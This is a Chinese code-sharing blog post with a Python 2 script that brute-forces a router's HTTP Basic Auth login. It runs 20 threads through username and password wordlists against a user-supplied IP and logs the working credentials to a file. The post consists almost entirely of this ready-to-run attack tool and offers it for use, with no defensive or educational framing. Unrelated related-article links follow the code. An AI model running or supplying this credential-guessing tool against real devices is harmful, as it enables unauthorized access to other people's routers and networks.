python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python网络编程学习笔记(九):数据库客户端 DB-API
Jun 09 Python
python字典序问题实例
Sep 26 Python
利用Django框架中select_related和prefetch_related函数对数据库查询优化
Apr 01 Python
python3.4用函数操作mysql5.7数据库
Jun 23 Python
详解 Python 与文件对象共事的实例
Sep 11 Python
django模型层(model)进行建表、查询与删除的基础教程
Nov 21 Python
Python实现替换文件中指定内容的方法
Mar 19 Python
pytest中文文档之编写断言
Sep 12 Python
在Python中使用filter去除列表中值为假及空字符串的例子
Nov 18 Python
Pycharm最新激活码2019(推荐)
Dec 31 Python
基于python3生成标签云代码解析
Feb 18 Python
python中sqllite插入numpy数组到数据库的实现方法
Jun 21 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
dede全站URL静态化改造[070414更正]
2007/04/17 PHP
PHP教程 变量定义
2009/10/23 PHP
php中var_export与var_dump的区别分析
2010/08/21 PHP
PHP图片等比例缩放生成缩略图函数分享
2014/06/10 PHP
php反射类ReflectionClass用法分析
2016/05/12 PHP
thinkPHP5.0框架验证码调用及点击图片刷新简单实现方法
2018/09/07 PHP
php面试实现反射注入的详细方法
2019/09/30 PHP
javascript 数组的方法集合
2008/06/05 Javascript
javascript温习的一些笔记 基础常用知识小结
2011/06/22 Javascript
完美解决AJAX跨域问题
2013/11/01 Javascript
JS兼容浏览器的导出Excel(CSV)文件的方法
2014/05/03 Javascript
jquery通过ajax加载一段文本内容的方法
2015/01/15 Javascript
jQuery基于ajax()使用serialize()提交form数据的方法
2015/12/08 Javascript
this,this,再次讨论javascript中的this,超全面(经典)
2016/01/05 Javascript
微信小程序 数组中的push与concat的区别
2017/01/05 Javascript
fetch 使用及如何接收JS传值
2017/11/11 Javascript
vue实现在一个方法执行完后执行另一个方法的示例
2018/08/25 Javascript
vue服务端渲染页面缓存和组件缓存的实例详解
2018/09/18 Javascript
浅谈高大上的微信小程序中渲染html内容—技术分享
2018/10/25 Javascript
微信小程序:数据存储、传值、取值详解
2019/05/07 Javascript
解决一个微信号同时支持多个环境网页授权问题
2019/08/07 Javascript
vue 实现动态路由的方法
2020/07/06 Javascript
python实现数值积分的Simpson方法实例分析
2015/06/05 Python
python日期时间转为字符串或者格式化输出的实例
2018/05/29 Python
python远程邮件控制电脑升级版
2019/05/23 Python
pyqt5 lineEdit设置密码隐藏,删除lineEdit已输入的内容等属性方法
2019/06/24 Python
python图形界面开发之wxPython树控件使用方法详解
2020/02/24 Python
CSS3 :not()选择器实现最后一行li去除某种css样式
2016/10/19 HTML / CSS
jurlique茱莉蔻英国官网:澳洲天然护肤品
2018/08/03 全球购物
LN-CC美国:伦敦时尚生活的缩影
2019/02/19 全球购物
阿联酋彩妆品牌:OUD MILANO
2019/10/06 全球购物
纪念九一八事变演讲稿:勿忘国耻
2014/09/14 职场文书
街道社区活动报告
2015/02/05 职场文书
环境保护宣传标语大全!
2019/06/28 职场文书
创业计划书之情侣餐厅
2019/09/29 职场文书
MySQL 自定义变量的概念及特点
2021/05/13 MySQL